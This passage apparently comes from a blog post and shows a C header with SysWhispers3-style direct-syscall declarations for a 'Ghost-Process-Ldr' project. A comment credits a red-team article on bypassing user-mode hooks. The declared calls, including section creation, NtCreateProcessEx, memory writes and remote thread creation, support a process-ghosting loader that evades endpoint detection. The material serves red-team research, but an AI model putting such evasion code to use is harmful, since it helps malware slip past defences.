#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

syscall-n0xshell.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
#pragma once

// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

#ifndef SW3_HEADER_H_
#define SW3_HEADER_H_

#include <windows.h>

#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#endif

#define SW3_SEED 0xCCE19210
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)

// Typedefs are prefixed to avoid pollution.

typedef struct _SW3_SYSCALL_ENTRY
{
	DWORD Hash;
	DWORD Address;
	PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, * PSW3_SYSCALL_ENTRY;

typedef struct _SW3_SYSCALL_LIST
{
	DWORD Count;
	SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, * PSW3_SYSCALL_LIST;

typedef struct _SW3_PEB_LDR_DATA {
	BYTE Reserved1[8];
	PVOID Reserved2[3];
	LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, * PSW3_PEB_LDR_DATA;

typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
	PVOID Reserved1[2];
	LIST_ENTRY InMemoryOrderLinks;
	PVOID Reserved2[2];
	PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, * PSW3_LDR_DATA_TABLE_ENTRY;

typedef struct _SW3_PEB {
	BYTE Reserved1[2];
	BYTE BeingDebugged;
	BYTE Reserved2[1];
	PVOID Reserved3[2];
	PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, * PSW3_PEB;

DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
	(p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
	(p)->RootDirectory = r;                           \
	(p)->Attributes = a;                              \
	(p)->ObjectName = n;                              \
	(p)->SecurityDescriptor = s;                      \
	(p)->SecurityQualityOfService = NULL;             \
}
#endif

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _IO_STATUS_BLOCK
{
	union
	{
		NTSTATUS Status;
		VOID* Pointer;
	};
	ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef enum _PROCESSINFOCLASS
{
	ProcessBasicInformation = 0,
	ProcessDebugPort = 7,
	ProcessWow64Information = 26,
	ProcessImageFileName = 27,
	ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;

typedef VOID(NTAPI* PIO_APC_ROUTINE) (
	IN PVOID            ApcContext,
	IN PIO_STATUS_BLOCK IoStatusBlock,
	IN ULONG            Reserved);

typedef enum _FILE_INFORMATION_CLASS
{
	FileDirectoryInformation = 1,
	FileFullDirectoryInformation = 2,
	FileBothDirectoryInformation = 3,
	FileBasicInformation = 4,
	FileStandardInformation = 5,
	FileInternalInformation = 6,
	FileEaInformation = 7,
	FileAccessInformation = 8,
	FileNameInformation = 9,
	FileRenameInformation = 10,
	FileLinkInformation = 11,
	FileNamesInformation = 12,
	FileDispositionInformation = 13,
	FilePositionInformation = 14,
	FileFullEaInformation = 15,
	FileModeInformation = 16,
	FileAlignmentInformation = 17,
	FileAllInformation = 18,
	FileAllocationInformation = 19,
	FileEndOfFileInformation = 20,
	FileAlternateNameInformation = 21,
	FileStreamInformation = 22,
	FilePipeInformation = 23,
	FilePipeLocalInformation = 24,
	FilePipeRemoteInformation = 25,
	FileMailslotQueryInformation = 26,
	FileMailslotSetInformation = 27,
	FileCompressionInformation = 28,
	FileObjectIdInformation = 29,
	FileCompletionInformation = 30,
	FileMoveClusterInformation = 31,
	FileQuotaInformation = 32,
	FileReparsePointInformation = 33,
	FileNetworkOpenInformation = 34,
	FileAttributeTagInformation = 35,
	FileTrackingInformation = 36,
	FileIdBothDirectoryInformation = 37,
	FileIdFullDirectoryInformation = 38,
	FileValidDataLengthInformation = 39,
	FileShortNameInformation = 40,
	FileIoCompletionNotificationInformation = 41,
	FileIoStatusBlockRangeInformation = 42,
	FileIoPriorityHintInformation = 43,
	FileSfioReserveInformation = 44,
	FileSfioVolumeInformation = 45,
	FileHardLinkInformation = 46,
	FileProcessIdsUsingFileInformation = 47,
	FileNormalizedNameInformation = 48,
	FileNetworkPhysicalNameInformation = 49,
	FileIdGlobalTxDirectoryInformation = 50,
	FileIsRemoteDeviceInformation = 51,
	FileUnusedInformation = 52,
	FileNumaNodeInformation = 53,
	FileStandardLinkInformation = 54,
	FileRemoteProtocolInformation = 55,
	FileRenameInformationBypassAccessCheck = 56,
	FileLinkInformationBypassAccessCheck = 57,
	FileVolumeNameInformation = 58,
	FileIdInformation = 59,
	FileIdExtdDirectoryInformation = 60,
	FileReplaceCompletionInformation = 61,
	FileHardLinkFullIdInformation = 62,
	FileIdExtdBothDirectoryInformation = 63,
	FileDispositionInformationEx = 64,
	FileRenameInformationEx = 65,
	FileRenameInformationExBypassAccessCheck = 66,
	FileMaximumInformation = 67,
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

EXTERN_C NTSTATUS Sw3NtOpenFile(
	OUT PHANDLE FileHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	IN ULONG ShareAccess,
	IN ULONG OpenOptions);

EXTERN_C NTSTATUS Sw3NtSetInformationFile(
	IN HANDLE FileHandle,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	IN PVOID FileInformation,
	IN ULONG Length,
	IN FILE_INFORMATION_CLASS FileInformationClass);

EXTERN_C NTSTATUS Sw3NtWriteFile(
	IN HANDLE FileHandle,
	IN HANDLE Event OPTIONAL,
	IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
	IN PVOID ApcContext OPTIONAL,
	OUT PIO_STATUS_BLOCK IoStatusBlock,
	IN PVOID Buffer,
	IN ULONG Length,
	IN PLARGE_INTEGER ByteOffset OPTIONAL,
	IN PULONG Key OPTIONAL);

EXTERN_C NTSTATUS Sw3NtCreateSection(
	OUT PHANDLE SectionHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN PLARGE_INTEGER MaximumSize OPTIONAL,
	IN ULONG SectionPageProtection,
	IN ULONG AllocationAttributes,
	IN HANDLE FileHandle OPTIONAL);

EXTERN_C NTSTATUS Sw3NtCreateProcessEx(
	OUT PHANDLE ProcessHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN HANDLE ParentProcess,
	IN ULONG Flags,
	IN HANDLE SectionHandle OPTIONAL,
	IN HANDLE DebugPort OPTIONAL,
	IN HANDLE ExceptionPort OPTIONAL,
	IN ULONG JobMemberLevel);

EXTERN_C NTSTATUS Sw3NtQueryInformationProcess(
	IN HANDLE ProcessHandle,
	IN PROCESSINFOCLASS ProcessInformationClass,
	OUT PVOID ProcessInformation,
	IN ULONG ProcessInformationLength,
	OUT PULONG ReturnLength OPTIONAL);

EXTERN_C NTSTATUS Sw3NtReadVirtualMemory(
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress OPTIONAL,
	OUT PVOID Buffer,
	IN SIZE_T BufferSize,
	OUT PSIZE_T NumberOfBytesRead OPTIONAL);

EXTERN_C NTSTATUS Sw3NtCreateThreadEx(
	OUT PHANDLE ThreadHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN HANDLE ProcessHandle,
	IN PVOID StartRoutine,
	IN PVOID Argument OPTIONAL,
	IN ULONG CreateFlags,
	IN SIZE_T ZeroBits,
	IN SIZE_T StackSize,
	IN SIZE_T MaximumStackSize,
	IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

EXTERN_C NTSTATUS Sw3NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID * BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);

EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory(
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress,
	IN PVOID Buffer,
	IN SIZE_T NumberOfBytesToWrite,
	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

#endif

This post is licensed under CC BY 4.0 by the author.
Source code: Ghost-Process-Ldr